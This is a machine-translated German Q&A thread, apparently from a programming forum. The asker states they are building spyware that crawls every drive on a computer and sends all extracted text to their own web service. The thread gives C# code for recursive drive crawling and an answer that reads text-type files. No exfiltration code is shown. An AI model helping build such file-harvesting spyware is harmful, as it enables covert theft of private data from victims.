2016-04-11 8 views
1

Ich erstelle ein Spyware-Programm, das das gesamte Dateisystem eines Computers durchsucht und jeden gefundenen Text sucht und an meinen begleitenden Web-Service sendet. Das Problem, das ich habe, ist, sobald ich eine Datei habe, ist es entweder eine Art von Datei, aus der ich Text extrahieren kann (d. H. Wenn es eine .txt, .docx, .xml, usw. Datei ist) oder nicht. Wenn ja, möchte ich den Text daraus extrahieren. Was ich jetzt habe, istIst es möglich, eine generische Methode zum Extrahieren von Text aus einer Datei zu erstellen?

private string _accumulatedInfo; 

    public FileCrawler () 
    { 
     this._accumulatedInfo = String.Empty; 

    } 

    private void GrabInfo (System.IO.FileInfo fi) 
    { 
     // if can parse text out of file, add text to accumulated info string 
     // ... 
    } 

    private void _WalkDirectoryTree (System.IO.DirectoryInfo root) 
    { 
     System.IO.FileInfo[] files = root.GetFiles("*.*"); 
     if (files != null) 
     { 
      foreach (System.IO.FileInfo fi in files) 
      { 
       GrabInfo(fi); 
      } 
     } 

     System.IO.DirectoryInfo[] subDirs = root.GetDirectories(); 
     if (subDirs != null) 
     { 
      foreach (System.IO.DirectoryInfo dirInfo in subDirs) 
      { 
       this._WalkDirectoryTree(dirInfo); 
      } 
     } 
    } 

    private void CrawlAllDrives () 
    { 
     string[] drives = System.Environment.GetLogicalDrives(); 
     foreach (string dr in drives) 
     { 
      System.IO.DriveInfo di = new System.IO.DriveInfo(dr); 
      if (di.IsReady) 
      { 
       System.IO.DirectoryInfo rootDir = di.RootDirectory; 
       this._WalkDirectoryTree(rootDir); 
      } 
     } 
    } 

und ich frage mich, wie man ist, oder ob es sogar möglich, meine

private void GrabInfo (System.IO.FileInfo fi) 
    { 
     // if can parse text out of file, add text to accumulated info string 
     // ... 
    } 

Methode zu implementieren, ohne wie

auf etwas zurückgreifen
private void GrabInfo (System.IO.FileInfo fi) 
    { 
     switch (fi.Extension) 
     { 
      case "txt": 
       // ... 
      case "docx": 
       // ... 
      // ... 
     } 
    } 

Gibt es eine generische Möglichkeit, Text aus einer Datei zu extrahieren?

+1

Ich bin mir nicht sicher, was Sie mit "generische Art des Extrahierens von Text" meinen, aber Sie können die 'File.ReadAllLines' oder ihre Entsprechungen verwenden? – Noctis

+0

Meinst du wie, eine Möglichkeit, den Text jeder Art von Datei, einschließlich RTF, TXT, DOCX, etc. über einen einzigen Funktionsaufruf generisch zu bekommen? – RoyalPotato

+0

@RoyalPotato ja – user6048670

Antwort

2

Sie können so etwas wie das folgende tun: Sie

System.IO.DirectoryInfo path = new DirectoryInfo(@"c:\temp"); 

System.IO.FileInfo[] files = path.GetFiles("*.*"); 
if (files != null) 
{ 
    foreach (System.IO.FileInfo fi in files.Where(f => MimeMapping.GetMimeMapping(f.FullName).StartsWith("text/"))) 
    { 
     try 
     { 
      var text = File.ReadAllText(fi.FullName); 
     } 
     catch 
     { 
      // something bad happened 
     } 
    } 
} 

Dies gibt alle Arten zurück, die „Text“ wie sind. Sie können mehr darüber in this Antwort lesen.

Verwandte Themen